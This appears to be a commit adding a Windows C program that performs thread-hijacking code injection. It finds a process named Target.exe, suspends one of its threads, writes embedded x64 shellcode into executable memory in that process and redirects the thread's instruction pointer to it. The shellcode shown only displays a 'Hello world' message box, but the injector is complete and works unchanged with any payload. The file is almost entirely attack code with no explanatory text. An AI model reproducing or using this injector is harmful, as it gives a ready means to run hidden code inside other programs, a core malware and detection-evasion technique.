1+ #include <Windows.h>
2+ #include <Psapi.h>
3+ #include <tchar.h>
4+ #include <stdbool.h>
5+ #include <TlHelp32.h>
6+ #include <stdio.h>
7+
8+ char MessageBoxShellcode [] =
9+ "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
10+ "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
11+ "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
12+ "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
13+ "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
14+ "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
15+ "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
16+ "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
17+ "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
18+ "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
19+ "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
20+ "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
21+ "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
22+ "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
23+ "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
24+ "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
25+ "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
26+ "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
27+ "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
28+ "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
29+ "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
30+ "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
31+ "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
32+ "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
33+ "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
34+ "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
35+ "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
36+ "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
37+ "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3" ;
38+
39+ typedef struct HijackData {
40+ const wchar_t * processName ; // 8
41+ HANDLE hProcess ; // 8
42+ HANDLE hThread ; // 8
43+ DWORD processId ; // 4
44+ CONTEXT context ; // 1232
45+ } t_HijackData ;
46+
47+ static void InitHijackData (t_HijackData * data ) {
48+ if (!data ) {
49+ return ;
50+ }
51+
52+ data -> processName = NULL ;
53+ data -> processId = 0 ;
54+ data -> hProcess = NULL ;
55+ data -> hThread = NULL ;
56+
57+ ZeroMemory (& data -> context , sizeof (data -> context ));
58+ data -> context .ContextFlags = CONTEXT_FULL ;
59+ }
60+
61+ static void CleanHijackData (t_HijackData * data ) {
62+ if (!data ) {
63+ return ;
64+ }
65+
66+ if (data -> hThread ) {
67+ CloseHandle (data -> hThread );
68+ data -> hThread = NULL ;
69+ }
70+
71+ if (data -> hProcess ) {
72+ CloseHandle (data -> hProcess );
73+ data -> hProcess = NULL ;
74+ }
75+
76+ data -> processId = 0 ;
77+ data -> processName = NULL ;
78+ }
79+
80+ static bool OpenTargetProcess (t_HijackData * data ) {
81+ HANDLE hSnapshot = NULL ;
82+ PROCESSENTRY32 processEntry = {0 };
83+
84+ hSnapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS , 0 );
85+ if (hSnapshot == INVALID_HANDLE_VALUE ) {
86+ printf ("[ ERROR ] Failed to create process snapshot: %lu" , GetLastError ());
87+ return false;
88+ }
89+
90+ processEntry .dwSize = sizeof (PROCESSENTRY32 );
91+ if (!Process32First (hSnapshot , & processEntry )) {
92+ printf ("[ ERROR ] Failed to get first process: %lu" , GetLastError ());
93+ CloseHandle (hSnapshot );
94+ return false;
95+ }
96+
97+ do {
98+ if (wcscmp (data -> processName , processEntry .szExeFile ) == 0 ) {
99+ data -> processId = processEntry .th32ProcessID ;
100+ break ;
101+ }
102+ } while (Process32Next (hSnapshot , & processEntry ));
103+
104+ CloseHandle (hSnapshot );
105+
106+ if (data -> processId == 0 ) {
107+ printf ("[ ERROR ] Process not found: %ls" , data -> processName );
108+ return false;
109+ }
110+
111+ data -> hProcess = OpenProcess (
112+ PROCESS_QUERY_INFORMATION |
113+ PROCESS_VM_READ |
114+ PROCESS_VM_WRITE |
115+ PROCESS_VM_OPERATION ,
116+ false,
117+ data -> processId
118+ );
119+
120+ if (!data -> hProcess ) {
121+ printf ("[ ERROR ] Failed to open process: %lu" , GetLastError ());
122+ return false;
123+ }
124+
125+ return true;
126+ }
127+
128+ static bool OpenTargetThread (t_HijackData * data ) {
129+ HANDLE hSnapshot = NULL ;
130+ THREADENTRY32 threadEntry = {0 };
131+ DWORD threadId = 0 ;
132+
133+ hSnapshot = CreateToolhelp32Snapshot (TH32CS_SNAPTHREAD , 0 );
134+ if (hSnapshot == INVALID_HANDLE_VALUE ) {
135+ printf ("[ ERROR ] Failed to create threads snapshot: %lu" , GetLastError ());
136+ return false;
137+ }
138+
139+ threadEntry .dwSize = sizeof (THREADENTRY32 );
140+ if (!Thread32First (hSnapshot , & threadEntry )) {
141+ printf ("[ ERROR ] Failed to get first thread: %lu" , GetLastError ());
142+ CloseHandle (hSnapshot );
143+ return false;
144+ }
145+
146+ do {
147+ if (data -> processId == threadEntry .th32OwnerProcessID &&
148+ threadEntry .th32ThreadID != GetCurrentThreadId ())
149+ {
150+ threadId = threadEntry .th32ThreadID ;
151+ break ;
152+ }
153+ } while (Thread32Next (hSnapshot , & threadEntry ));
154+
155+ CloseHandle (hSnapshot );
156+
157+ if (threadId == 0 ) {
158+ printf ("[ ERROR ] Failed to find thread for process: %ls" , data -> processName );
159+ return false;
160+ }
161+
162+ data -> hThread = OpenThread (
163+ THREAD_SUSPEND_RESUME |
164+ THREAD_GET_CONTEXT |
165+ THREAD_SET_CONTEXT |
166+ THREAD_QUERY_INFORMATION ,
167+ false,
168+ threadId
169+ );
170+
171+ if (!data -> hThread ) {
172+ printf ("[ ERROR ] Failed to open thread: %lu" , GetLastError ());
173+ return false;
174+ }
175+
176+ return true;
177+ }
178+
179+ static bool Hijack (const wchar_t * processName , t_HijackData * data ) {
180+ if (!processName || !data ) {
181+ printf ("[ ERROR ] Enter a valid processName!" );
182+ return false;
183+ }
184+
185+ data -> processName = processName ;
186+
187+ if (!OpenTargetProcess (data ) || !OpenTargetThread (data )) {
188+ return false;
189+ }
190+
191+ if (SuspendThread (data -> hThread ) == (DWORD )- 1 ) {
192+ printf ("[ ERROR ] Failed to suspend thread: %lu" , GetLastError ());
193+ return false;
194+ }
195+
196+ if (!GetThreadContext (data -> hThread , & data -> context )) {
197+ printf ("[ ERROR ] Failed to get thread context: %lu" , GetLastError ());
198+ return false;
199+ }
200+
201+ LPVOID hijackBuffer = VirtualAllocEx (
202+ data -> hProcess ,
203+ NULL ,
204+ sizeof (MessageBoxShellcode ),
205+ MEM_COMMIT ,
206+ PAGE_EXECUTE_READWRITE
207+ );
208+
209+ if (!hijackBuffer ) {
210+ printf ("[ ERROR ] Failed to allocate hijackBuffer: %lu" , GetLastError ());
211+ return false;
212+ }
213+
214+ if (!WriteProcessMemory (
215+ data -> hProcess ,
216+ hijackBuffer ,
217+ MessageBoxShellcode ,
218+ sizeof (MessageBoxShellcode ),
219+ NULL
220+ ))
221+ {
222+ printf ("[ ERROR ] Failed to write the hijackBuffer: %lu" , GetLastError ());
223+ return false;
224+ }
225+
226+ data -> context .Rip = (uintptr_t )hijackBuffer ;
227+
228+ if (!SetThreadContext (data -> hThread , & data -> context )) {
229+ printf ("[ ERROR ] Failed to set the hijacked context: %lu" , GetLastError ());
230+ return false;
231+ }
232+
233+ if (ResumeThread (data -> hThread ) == (DWORD )- 1 ) {
234+ printf ("[ ERROR ] Failed to resume thread after hijack: %lu" , GetLastError ());
235+ return false;
236+ }
237+
238+ return true;
239+ }
240+
241+ int main () {
242+ t_HijackData data ;
243+
244+ InitHijackData (& data );
245+
246+ if (!Hijack (L"Target.exe" , & data )) {
247+ CleanHijackData (& data );
248+ return 1 ;
249+ }
250+
251+ CleanHijackData (& data );
252+ return 0 ;
253+ }
0 commit comments